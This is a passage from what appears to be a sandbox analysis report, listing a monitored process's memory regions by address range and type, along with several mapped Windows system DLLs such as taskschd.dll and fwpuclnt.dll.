"pagefile_0x0000000000450000" filename = "" Region: id = 1760 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1761 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1762 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1763 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1764 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1765 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1766 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1767 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1768 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1769 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1770 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1771 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1772 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1773 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1774 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1775 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1776 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1777 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1778 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1779 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1780 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1781 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1782 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1783 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1784 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1785 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1786 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1787 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1788 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1789 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1790 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1791 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1792 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1793 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1794 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1795 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1796 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1797 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1798 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1799 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1800 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1801 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1802 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1803 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1804 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1805 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1806 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1807 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1808 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1809 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1810 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1811 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1812 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1813 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1814 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1815 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1816 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1817 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1818 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1819 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1820 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1821 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1822 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1823 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1824 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1825 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1826 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1827 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1828 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1829 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1830 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1831 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1832 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1833 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1834 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1835 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1836 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1837 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1838 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1839 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1840 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1841 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1842 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1843 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1844 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1845 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1846 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1847 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1848 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1849 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1850 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1851 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1852 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1853 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1854 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1855 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1856 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1857 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1858 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1859 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1860 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1861 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1862 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1863 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1864 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1865 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1866 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1867 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1868 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1869 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1870 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1871 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1872 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1873 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1874 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1875 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1876 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1877 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1878 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1879 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1880 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1881 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1882 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1883 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1884 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1885 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1886 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1887 start_va = 0x7ffd4c100000 end_va = 0x7ffd4c133fff monitored = 0 entry_point = 0x7ffd4c11ae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1888 start_va = 0x7ffd36320000 end_va = 0x7ffd363bbfff monitored = 0 entry_point = 0x7ffd363796a0 region_type = mapped_file name = "efswrt.dll" filename = "\\Windows\\System32\\efswrt.dll" (normalized: "c:\\windows\\system32\\efswrt.dll") Region: id = 1889 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1890 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1891 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1892 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1893 start_va = 0xfe50000 end_va = 0xfecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fe50000" filename = "" Region: id = 1894 start_va = 0x7ffd492b0000 end_va = 0x7ffd4936efff monitored = 0 entry_point = 0x7ffd492d1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1895 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1896 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1897 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1898 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1899 start_va = 0x7ffd493a0000 end_va = 0x7ffd493d5fff monitored = 0 entry_point = 0x7ffd493b0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1900 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 2430 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 2431 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 2432 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2433 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 2434 start_va = 0xf750000 end_va = 0xfc42fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f750000" filename = "" Region: id = 2435 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 2436 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 2437 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 2438 start_va = 0x430000 end_va = 0x431fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 2439 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2440 start_va = 0xfed0000 end_va = 0x103c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fed0000" filename = "" Region: id = 2441 start_va = 0x440000 end_va = 0x45dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2442 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 2443 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2444 start_va = 0x430000 end_va = 0x433fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 2445 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2446 start_va = 0x440000 end_va = 0x45dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2447 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 2448 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2449 start_va = 0x7ffd44b30000 end_va = 0x7ffd44b44fff monitored = 0 entry_point = 0x7ffd44b32dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 2450 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2451 start_va = 0x440000 end_va = 0x45dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2452 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 2453 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2454 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2455 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2456 start_va = 0x440000 end_va = 0x45dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2457 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 2458 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2459 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2460 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2461 start_va = 0x7ffd45440000 end_va = 0x7ffd454a6fff monitored = 0 entry_point = 0x7ffd454463e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2462 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2463 start_va = 0x440000 end_va = 0x45dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2464 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 2465 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2466 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2467 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2468 start_va = 0x440000 end_va = 0x45dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2469 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 2470 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2471 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2472 start_va = 0x8fd0000 end_va = 0x90c9fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008fd0000" filename = "" Region: id = 2473 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 2474 start_va = 0x450000 end_va = 0x46dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 2475 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2476 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2477 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2478 start_va = 0x440000 end_va = 0x45dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2479 start_va = 0x460000 end_va = 0x46efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 2480 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2481 start_va = 0x440000 end_va = 0x44efff monitored = 1 entry_point = 0x0 region_type = 